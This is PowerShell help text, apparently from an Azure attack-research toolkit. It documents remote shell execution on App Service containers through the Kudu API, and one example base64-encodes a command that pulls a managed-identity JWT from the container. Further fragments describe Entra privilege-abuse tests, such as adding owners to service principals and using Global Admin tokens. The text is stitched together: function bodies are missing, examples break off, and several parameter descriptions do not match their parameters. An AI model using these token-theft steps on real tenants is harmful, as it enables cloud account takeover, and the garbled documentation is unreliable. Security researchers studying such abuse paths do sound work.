Function Invoke-AzureRMWebAppShellCommand {
    <#
    .SYNOPSIS
        This function takes a provided JWT or Base64-encoded authentication string, then uses those to authenticate to a provided
        Kudu URI for an Azure App Service Web App. If successful, returns the command output. If an error occurs, prints the error.

    .DESCRIPTION
        This function takes a provided JWT or Base64-encoded authentication string, then uses those to authenticate to a provided
        Kudu URI for an Azure App Service Web App. If successful, returns the command output. If an error occurs, prints the error.
    .PARAMETER Token
        An AzureRM-scoped JSON Web Token (JWT) for a principal with "Owner", "Contributor", or "Website Contributor" role against the
        Azure Web App.
    .PARAMETER BasicAuthString
        The Base64-encoded username and password for the FTPS, application-scope credentials.
    .PARAMETER KuduURI
        The URI for the Kudu "buddy site". If the Azure Web App's URL is https://mycoolwindowswebapp.azurewebsites.net/, the KuduURI will
        be https://mycoolwindowswebapp.scm.azurewebsites.net/api/command
    .PARAMETER Command
        The shell command you want to run. You may need to use base64 encoding in your command to deal with quotation issues as the command
        will be parsed by the Kudu process before being executed. See the examples for an example of how to do this.
    .EXAMPLE
        PS C:\> $Username = "`$mycoolwindowswebapp"
        PS C:\> $Password = "asdf1234"
        PS C:\> $base64Auth = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(("$($Username):$($Password)")))
        PS C:\> Invoke-AzureRMWebAppShellCommand -KuduURI "https://mycoolwindowswebapp.scm.azurewebsites.net/api/command" -basicauthstring $base64Auth -Command "hostname"
        Description
        -----------
        Authenticates to the Kudu API endpoint using basic authentication, using the Username and Password provided. Runs the "hostname" command
        on the Web App container and returns either the output or an error.
    .EXAMPLE
        PS C:\> $ARMToken = (Get-AzureRMTokenWithClientCredentials `
                    -ClientID "a6bc98d3-f706-4b94-b562-0720faf8986f" `

        PS C:\> Invoke-AzureRMWebAppShellCommand -KuduURI "https://mycoolwindowswebapp.scm.azurewebsites.net/api/command" -token $ARMToken -Command "hostname"
        Description
        -----------
        First retrieves an AzureRM-scoped token for a service principal using BARK's Get-AzureRMTokenWithClientCredentials cmdlet,
        then passes that token in the "-token" argument to run the "hostname" command on the Azure App Service Web App container.
    .EXAMPLE
        PS C:\> $PowerShellCommand = '
                $headers=@{"X-IDENTITY-HEADER"=$env:IDENTITY_HEADER}
                $response = Invoke-WebRequest -UseBasicParsing -Uri "$($env:IDENTITY_ENDPOINT)?resource=https://storage.azure.com/&api-version=2019-08-01" -Headers $headers
                $response.RawContent'

                    [System.Text.Encoding]::Unicode.GetBytes(
                        $PowerShellCommand
                    )
                )
        PS C:\> $Command = "powershell -enc $($base64Cmd)"
        PS C:\> Invoke-AzureRMWebAppShellCommand -KuduURI "https://mycoolwindowswebapp.scm.azurewebsites.net/api/command" -token $ARMToken -Command $Command
        Description
        -----------
        Extracts a JWT for the service principal associated with the Web App via a Managed Identity assignment. First, put the commands for JWT
        request into the $PowerShellCommand variable. Second, base64-encode this command. Third, pass the base64-encoded command into a $Command
        variable, which is the command that will run on the Web App container. Finally, use Invoke-AzureRMWebAppShellCommand to execute the command,
        which will display the JWT for the service principal if successful.

        The ID of the service principal with User Access Admin role at the subscription

    .PARAMETER UserAccessAdminSecret
        The plain-text password for the User Access Admin service principal

    .PARAMETER TenantName
        The display name of the Entra tenant the service principal lives in

    .PARAMETER SubscriptionID
        The ID of the target subscription

    .EXAMPLE

    .DESCRIPTION
        Test whether the supplied JWT has the privilege to grant the associated service principal ownership of another service principal

    .PARAMETER TestPrincipalID
        The ID of the service principal you are performing the test as.
        This is the SP that will try to add itself as the owner of another SP.

    .PARAMETER TargetSPId
        The object ID of the Entra SP you are trying to add an owner to.

    .PARAMETER TestToken
        The MS Graph-scoped JWT for the test service principal

    .PARAMETER HeldPrivilege
        The MS Graph app role your test SP has been granted

    .PARAMETER GlobalAdminMGToken
        The MS-Graph scoped JWT for a Global Admin principal

    .PARAMETER TimeOfTest
        The Get-Date formatted time the test was performed

    .PARAMETER TestGUID
        The unique ID for your test. This should be used across all SPs and objects for this test.

    .DESCRIPTION
        Perform all abuse tests enabled by holding a particular Azure AD Admin role

    .PARAMETER GlobalAdminClientID
        The ID of the service principal you are trying to activate the role for

    .PARAMETER GlobalAdminSecret
        The globally unique ID of the target role eligible security group

    .PARAMETER TenantName
        The MS Graph-scoped JWT for the test service principal

    .PARAMETER AbuseTestType
        The type of abuse test you want to run. Default behavior: run all tests

    .EXAMPLE
        C:\PS> $Tests = Invoke-AllEntraAbuseTests `
            -GlobalAdminClientID "aab7d158-7037-45f1-9ed1-e9ec0222d927" `
